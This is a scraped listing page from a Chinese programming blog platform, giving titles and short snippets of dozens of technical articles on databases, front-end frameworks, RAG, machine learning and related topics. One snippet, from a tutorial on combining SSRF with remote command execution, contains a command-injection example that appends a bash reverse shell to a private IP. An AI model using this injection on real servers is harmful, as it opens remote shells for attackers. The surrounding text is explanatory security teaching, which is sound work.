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TensorFlow 基础知识：Java开发者的入门指南

现在，让我们探索一下TensorFlow这个强大的机器学习框架，并了解如何将其与你的Java技能结合起来。什么是TensorFlow？
张道宁·2025-06-19 10:17

MySQL SQL优化

本文结合多年实战经验，总结出一套系统的MySQLSQL优化方法论，涵盖从基础技巧到高阶策略的全方位知识体系。
向着开发进攻·2025-06-19 10:15

人工智能驱动的COMSOL多孔介质建模与优化技术解析

通过COMSOL仿真与AI结合，探索电池热管理、结构优化及寿命预测等核心研究方向。2.实
m0_75133639·2025-06-19 10:44

C++/OpenCV 图像预处理与 PaddleOCR 结合进行高效字符识别

C++/OpenCV图像预处理与PaddleOCR结合进行高效字符识别在许多实际应用场景中，直接从原始图片中提取文字的准确率可能不尽人意。
whoarethenext·2025-06-19 10:13

如何在Redis中实现缓存功能

在Redis中实现缓存功能需要结合数据读写策略、失效机制及性能优化方案。一、Redis作为缓存的核心优势高性能读写：内存存储+单线程架构，支持10万+QPS。
夜影风·2025-06-19 10:42

在ubuntu22.04上部署RagFlow一个深度文档理解的开源 RAG

它为任何规模的企业提供简化的RAG工作流程，结合LLM（大型语言模型）以提供真实的问答功能，并由来自各种复杂格式数据的有根据的引用提供支持。
BBM的开源HUB·2025-06-19 08:31

RAGFlow是一个基于深度文档理解的开源RAG引擎

其核心优势在于结合多模态文档解析和智能分段技术，优化传统RAG流程中的信息提取与答案生成效果。
lyh1344·2025-06-19 08:30

自建k8s集群，利用开源的GitLab、Jenkins和Harbor实现CI/CD和DevOps的过程回顾

使用自己部署的Kubernetes集群，结合GitLab、Jenkins和Harbor实现CI/CD和DevOps的过程大致如下：1.代码管理（GitLab）：-开发者在GitLab上创建代码仓库，编写代码并提交变更
chunmiao3032·2025-06-19 07:55

基于深度学习的智能图像风格转换系统：技术与实践

前言图像风格转换是一种将一张图像的内容与另一张图像的风格相结合的技术，广泛应用于艺术创作、图像编辑和视觉特效等领域。
Blossom.118·2025-06-19 06:53

数字化转型 - 标准化

前言标准是对重复性事物和概念所做的统一规定，它以科学技术和实践经验的结合成果为基础，经有关方面协商一致，以特定形式发布作为共同遵守的准则和依据。
AI_Auto·2025-06-19 06:51

STM32F107与LAN8720实现TCP MODBUS协议的深入剖析

本文还有配套的精品资源，点击获取简介：本项目展示了如何将STM32F107微控制器与LAN8720以太网PHY芯片结合使用，构建一个基于TCPMODBUS通信协议的嵌入式系统。
彭喵喵·2025-06-19 05:15

使用YOLOv8结合DeepSORT实现人物追踪和体态检测

使用YOLOv8结合DeepSORT实现人物追踪和体态检测的Python代码importcv2importnumpyasnpfromultralyticsimportYOLOfromdeep_sort_realtime.deepsort_trackerimportDeepSort
irisMoon06·2025-06-19 05:43

C++ 函数模板与类模板

模板分为函数模板和类模板，本文将结合实际代码，详细解析这两种模板，并以代码中的Stack类模板为例进行深入探讨。
Cherl.·2025-06-19 05:10

02 ( chrome 浏览器插件, 立马翻译）， 搭建本地 api

1.先写pythonapi请结合上面的聊天过程，帮我写个文章总结一下。要求：1.篇幅不要太长，语言幽默有趣，平易近人，有吸引力。2.重点介绍的是起因，即，需求和起因增加篇幅，其他地方篇幅减少。
waterHBO·2025-06-19 05:09

快速入门多线程（一）：线程生命周期详解（附流程图详解）

本文结合流程图、生活化比喻和代码示例来详细解析。一、线程生命周期全景图二、六大状态详解（JVM视角）1.新建状态（New）定义：线程对象已创建（newThread()），但尚未调用start()方法。
·2025-06-19 03:30

Vue+TypeScript 枚举（Enum）的使用规范

在TypeScript中，枚举（Enum）的命名应遵循以下规范，这些规范结合了TypeScript官方建议和行业最佳实践：枚举命名规范（TypeScript/Vue项目）基本命名规则：使用PascalCase
BillKu·2025-06-19 02:21

javascript有哪些特点

javascript与HTML标识符结合使用，方便用户操作。2、基于对象它也可以看作是一种面向对象的语言，这意味着Jav
李崧正·2025-06-19 01:48

再议AOI算法

整理思路如文章标题，我们要求结合网格和十字链表两种方法来实现AOI。网格法是将地图划分成多个格子，每个格子管理其中的对象，这样可以快速查找周围的对象。
Jempo M·2025-06-19 01:18

马哥教育 2025Python全栈+爬虫+数据+AI全套课程下载

马哥教育《Python全栈+爬虫+数据+AI课程》，内容全面，从入门到精通，满足不同层次的学习需求；实战导向，结合实际案例，让你在学习中积累经验。学会它，就能成为Python全能工程师。
小白精品资源·2025-06-19 01:17

模拟设计的软件工程项目

考核题目论文论述题：结合你参与开发、调研或模拟设计的软件工程项目，撰写一篇论文完成以下任务，论文题目为《面向微服务架构的软件系统设计与建模分析》，总分：100分。
寒月658·2025-06-19 00:40

推荐开源项目：Vue-Layui - 基于Vue.js和Layui的前端框架

Layui的前端框架项目地址:https://gitcode.com/gh_mirrors/vu/vue-layui项目简介是一个将流行的JavaScript组件库Layui与现代前端框架Vue.js结合的项目
·2025-06-19 00:34

Layui-Vue 开源项目教程

Layui-Vue继承了Layui的设计理念，同时结合了Vue.js的响应式特性，使得组件的使用更
童福沛·2025-06-19 00:34

计算机硬件——显示器、显卡

和键盘相结合方便人机对话。显示系统由显示器和显示适配器两部分组成，显示适配器简称显卡。显示器主要性能参数显示器又称监视器，是
『六哥』·2025-06-18 23:33

Dagster中资产间数据传递的三种策略：显式管理、I/O管理器与资产合并

本文深入探讨了Dagster中三种主流的数据传递方式，结合代码示例和优缺点分析，帮助开发者根据场景选择最优策略，构建高效、可扩展的数据管道。
·2025-06-18 22:23

【小程序开发0基础】黑马程序员微信小程序开发02

结合黑马程序员的视频和ppt更易理解。如果有HTML/CSS/Javascript基础，了解过vue框架阅读会更加流畅。通过阅读本文可以快速掌握小程序开发基础，从页面渲染到网络请求全流程梳理！
·2025-06-18 22:22

【数据库】数据库基础

一、数据库1.1数据库概述以下是对数据库体系化的全面解析，涵盖概念、设计原理、数学/物理定律及数学规律，结合数据库核心理论和跨学科应用，按逻辑框架组织如下：1.1.1、数据库体系化概念框架三级模式结构外模式
flyair_China·2025-06-18 21:20

跟着AI学习C# Day20

Attributes）✅学习目标：理解什么是反射（Reflection）及其作用；掌握如何使用反射动态获取类型信息、创建对象和调用方法；理解特性（Attributes）是什么及其用途；学会定义和使用自定义特性；能够结合反射与特性实现插件系统
蓝胖子不会敲代码·2025-06-18 20:44

【华为OD机考真题】- 光伏场地建设规划(B卷-100分)（Python版）

专栏所写题库均搜集于互联网，经过精心筛选和整理，结合数位十多年大厂实战经验资深
bug菌¹·2025-06-18 20:39

【华为OD机考真题】- 素数伴侣(2025B卷-100分)（Python版）

专栏所写题库均搜集于互联网，经过精心筛选和整理，结合数位十多年大厂实战经验资深
bug菌¹·2025-06-18 19:05

Vue3 内置组件使用指南：提升开发效率的实用技巧

本文将结合代码示例，讲解6个核心内置组件的实战用法。一、动态组件：与is属性功能:根据条件动态渲染不同组件，适用于多标签页、动态表单等场景。
产品经理跪着改需求·2025-06-18 19:03

Java研发必备：10大中间件全解析

以下是Java生态中常用的中间件分类及其典型示例，结合实际应用场景和功能特点进行说明：一、消息中间件（MessageQueue）核心作用：实现异步通信、解耦服务、缓冲流量。
刘一说·2025-06-18 18:01

ffmpeg ，结合 SSRF任意文件读取漏洞

ffmpeg，结合SSRF任意文件读取漏洞前言一、ffmpeg是什么？
德古拉的杂货铺·2025-06-18 18:57

Vue 面试核心知识点详解

Vue面试核心知识点详解与答题策略一、Vue核心概念与原理响应式数据绑定原理Vue2.x使用Object.defineProperty劫持数据属性的getter/setter，结合发布-订阅模式（依赖收集器
前端小崔·2025-06-18 18:56

一文详解前端ES7、ES8、ES9 核心特性详解

本文将深入剖析ES7(2016)、ES8(2017)和ES9(2018)的核心特性，结合代码示例与实际应用场景，助你全面掌握现代JavaScript开发的关键
前端小崔·2025-06-18 18:55

python基础入门：3.5实战：词频统计工具

Python词频统计终极指南：字典与排序的完美结合importrefromcollectionsimportdefaultdictdefword_frequency_analysis(file_path
赵鑫亿·2025-06-18 17:24

SSRF6 利用ssrf漏洞结合RCE远程命令执行漏洞打组合拳

一.RCE远程命令执行漏洞的介绍可直接在目标服务器上执行任意命令---接管服务器该漏洞主要有命令执行函数引起：例如：system:()函数system("ping用户提供的参数")以下为以下执行符号：1.；指顺序执行2.&后台执行3.&&与条件执行4.|管道符执行5.||或条件执行例如我们以”;“举例：baidu.com;bash-i>&/dev/tcp/192.168.112.128/44440
浮江雾·2025-06-18 17:53

时序数据库IoTDB测点管理实践指南

本文将以IoTDB官方文档为基础，结合实战案例解析测点管理的关键操作。一、数据库管理：数据存储的基石1.1创建数据库数据库是IoTDB的逻辑存储单元，通过分层路径组织设备结构。
时序数据说·2025-06-18 17:49

PIL与TorchVision

TorchVision是PyTorch的官方库，专注于计算机视觉任务，包含数据集、模型架构和图像转换工具，常与PIL/Pillow结合使用。
土豆羊626·2025-06-18 17:49

2025GTD时间管理工具选型指南：从个人到团队的效率提升方案

本文将深度拆解GTD的核心原理，测评7款主流工具的技术特性与应用场景，结合个人用户、中小团队、企业级用户的差异化需求，提供科学的选型框架与决策参考。
哇叽瓜·2025-06-18 16:47

预算3000元买拍照手机？荣耀400系列：轻松拍出单反级虚化的人像手机！

一、荣耀400系列:人像摄影的"双生旗舰"荣耀400Pro(国补价:2899元起)2亿像素硬核配置搭载1/1.4英寸三星HP3超大底传感器,结合行业首发AI人像意图识别引擎,可智能
资讯分享周·2025-06-18 16:45

（十二）深度解析领域特定语言（DSL）第二章——外部DSL架构概览

因此，笔者计划在后续章节结合代码案例，对这些概念进行更深入的剖析。前文
weixin_46217641·2025-06-18 16:14

PostgreSQL、SQL Server和MySQL数据库性能调优与故障排除技术

通过结合具体技术特性与工具链的深度使用，可系统化提升数据库性能和稳定性。建议根据实际负载特征制定监控-分析-优化的闭环管理流程。
weixin_30777913·2025-06-18 16:13

大模型RAG高阶面试指南：第一章：RAG绪论

第一章：RAG绪论1.1RAG的定义、背景与核心思想检索增强生成（RetrievalAugmentedGeneration，简称RAG）是一种结合了信息检索和文本生成的人工智能技术。
强化学习曾小健3·2025-06-18 15:38

从0到1搭建数据仓库指南

它不仅仅是技术选型，更是业务理解、架构设计、流程规范的结合。以下是一个清晰、分阶段的指南，帮助你系统性地完成搭建：核心原则：以业务驱动为核心：所有设计和开发都围绕解决实际业务问题展开。
·2025-06-18 15:37

MYSQL索引介绍（下）

此篇深度解析索引为承接上篇有理解索引这块知识点的可以结合上下俩部分充分理解索引的概念和如何使用目录1.5SQL性能分析1.5.1sql执行频率实例：1.5.2慢查询日志1.5.3profile详情1.5.3explain
阿亮爱学代码·2025-06-18 14:02

90%的鸿蒙开发者都会踩坑！数据持久化失败的5大雷区及备忘录应用实战

本文通过一个备忘录应用实例，结合真实开发场景，分析权限缺失、路径错误、存储不足等五大常见问题的解决方案，并提供完整可运行的代码实现与避坑技巧。
·2025-06-18 14:36

知识图谱（KG）、LLM结合：【KG增强LLM：注入结构化知识】【LLM增强KG：自动化构建与补全】【KG与LLM协同：统一表示与联合推理】

知识图谱（KG）与大型语言模型（LLM）的结合是当前AI领域的重要研究方向。两者分别代表符号主义与连接主义的知识表示方式：KG提供结构化、可解释的符号化知识，而LLM具备强大的语义理解和泛化能力。
u013250861·2025-06-18 13:25

ASP.NET Core 中快速读取配置的最佳实践

为了实现高性能、类型安全且易于维护的配置读取方式，我们可以结合IConfiguration和选项模式（OptionsPattern）进行优化。
A_nanda·2025-06-18 13:51

汽车 CDC威胁分析与风险评估

汽车CDC（连续阻尼控制系统）的威胁分析与风险评估需结合其技术特性、应用场景及行业标准展开。
芊言凝语·2025-06-18 12:16

SAP-ABAP:SAP ABAP `UPDATE`语句用法及注意事项详解

结合工业级实践，深度解析如下：️1.语法精要"单行更新(精确更新)UPDATEdbtabSETf1=v1...fN=vNWHEREkey_field=value."
爱喝水的鱼丶·2025-06-18 12:14
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